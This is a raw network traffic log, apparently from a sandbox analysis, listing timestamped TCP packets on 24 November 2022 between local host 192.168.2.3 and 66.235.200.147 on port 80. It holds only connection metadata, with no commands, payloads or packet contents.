Nov 24, 2022 16:57:33.443923950 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443942070 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443942070 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443958044 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443977118 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443979979 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443994999 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444011927 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444039106 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.444055080 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444073915 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.444076061 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444103956 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444120884 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444123983 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.444137096 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444154024 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444166899 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.444171906 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444189072 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.444211006 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444227934 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444246054 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.444247007 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444264889 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444281101 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444287062 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.444298029 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444322109 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.444436073 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444456100 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444472075 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444474936 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.444489002 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444505930 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444509029 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.444523096 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444539070 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444545984 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.444555998 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444572926 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444587946 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.444592953 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444608927 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444612980 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.444626093 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444643974 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444643974 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.444659948 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444675922 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444680929 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.444690943 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444706917 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444710970 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.444724083 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444739103 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444741964 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.444756031 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444772005 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444772959 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.444788933 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444806099 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444809914 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.444823027 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444839001 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444842100 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.444854975 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444870949 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444875002 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.444888115 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444904089 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444906950 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.444921017 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444936991 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444938898 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.444953918 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444969893 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.444971085 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.444986105 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445002079 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445003986 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.445018053 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445034981 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.445034981 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445050955 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445066929 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445082903 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445086956 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.445112944 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.445195913 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445225000 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445234060 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.445242882 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445257902 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445275068 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445276976 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.445291996 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445307970 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.445308924 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445326090 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445342064 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445344925 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.445358038 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445374966 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445378065 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.445389986 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445410013 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.445413113 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445434093 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445449114 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.445451021 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445466995 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445485115 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445487022 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.445501089 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445518017 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445525885 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.445534945 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445550919 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445561886 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.445566893 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445583105 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445585012 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.445600033 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445616007 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445617914 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.445638895 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445655107 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445656061 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.445671082 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445688009 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445688009 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.445722103 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.445918083 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445935011 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445952892 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445970058 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.445974112 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.445988894 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446006060 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446007013 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.446037054 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446042061 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.446114063 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446130991 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446149111 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446149111 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.446166039 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446182966 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446183920 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.446201086 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446218967 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446218967 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.446235895 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446253061 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.446254015 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446270943 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446288109 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.446289062 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446322918 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.446326971 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446343899 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446362019 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446378946 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446379900 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.446397066 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446413994 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446414948 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.446433067 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446449041 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.446449995 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446468115 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446485043 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446485043 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.446501970 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446520090 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446521044 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.446537971 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446554899 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446556091 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.446572065 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446588993 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446588993 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.446605921 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446623087 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.446624041 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446641922 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446655035 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446660042 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.446672916 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446690083 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446691990 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.446707964 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446723938 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.446724892 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446743011 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446759939 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446763992 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.446777105 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446794033 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.446794987 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446814060 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446830034 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.446830988 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446849108 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446865082 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.446865082 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446894884 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446902037 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.446912050 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446928978 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446944952 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446948051 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.446963072 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.446981907 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.447165012 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447195053 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447200060 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.447304010 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447323084 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447340965 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.447365046 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447382927 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447400093 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447401047 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.447417974 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447433949 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.447434902 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447453022 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447465897 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.447469950 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447487116 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447504997 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447511911 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.447523117 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447540998 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447540998 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.447557926 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447575092 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447575092 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.447592974 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447609901 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.447609901 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447628021 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447643995 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447645903 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.447662115 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447679043 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447679043 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.447696924 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447712898 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447712898 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.447730064 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447746992 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447748899 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.447765112 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447782993 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447801113 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447818041 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447835922 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447851896 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447870016 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447886944 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447902918 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447921038 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447940111 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447957039 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447958946 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.447958946 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.447958946 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.447973967 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447977066 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.447977066 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.447977066 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.447992086 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.447998047 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448009968 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448026896 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448045015 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448072910 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448093891 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448093891 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448112965 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448126078 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448143005 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448158979 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448175907 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448211908 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448226929 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448245049 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448247910 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448261023 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448276997 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448292971 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448299885 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448311090 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448321104 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448328018 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448343992 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448348045 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448360920 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448376894 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448379993 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448395014 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448410988 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448410988 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448429108 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448443890 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448452950 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448472977 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448487997 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448489904 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448504925 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448520899 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448523045 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448538065 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448554039 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448563099 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448570967 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448587894 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448590040 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448604107 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448621035 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448621988 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448637009 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448652983 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448662996 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448669910 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448685884 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448687077 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448704004 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448719978 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448725939 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448735952 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448751926 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448753119 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448769093 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448784113 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448786974 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448801041 CET	80	49712	66.235.200.147	192.168.2.3
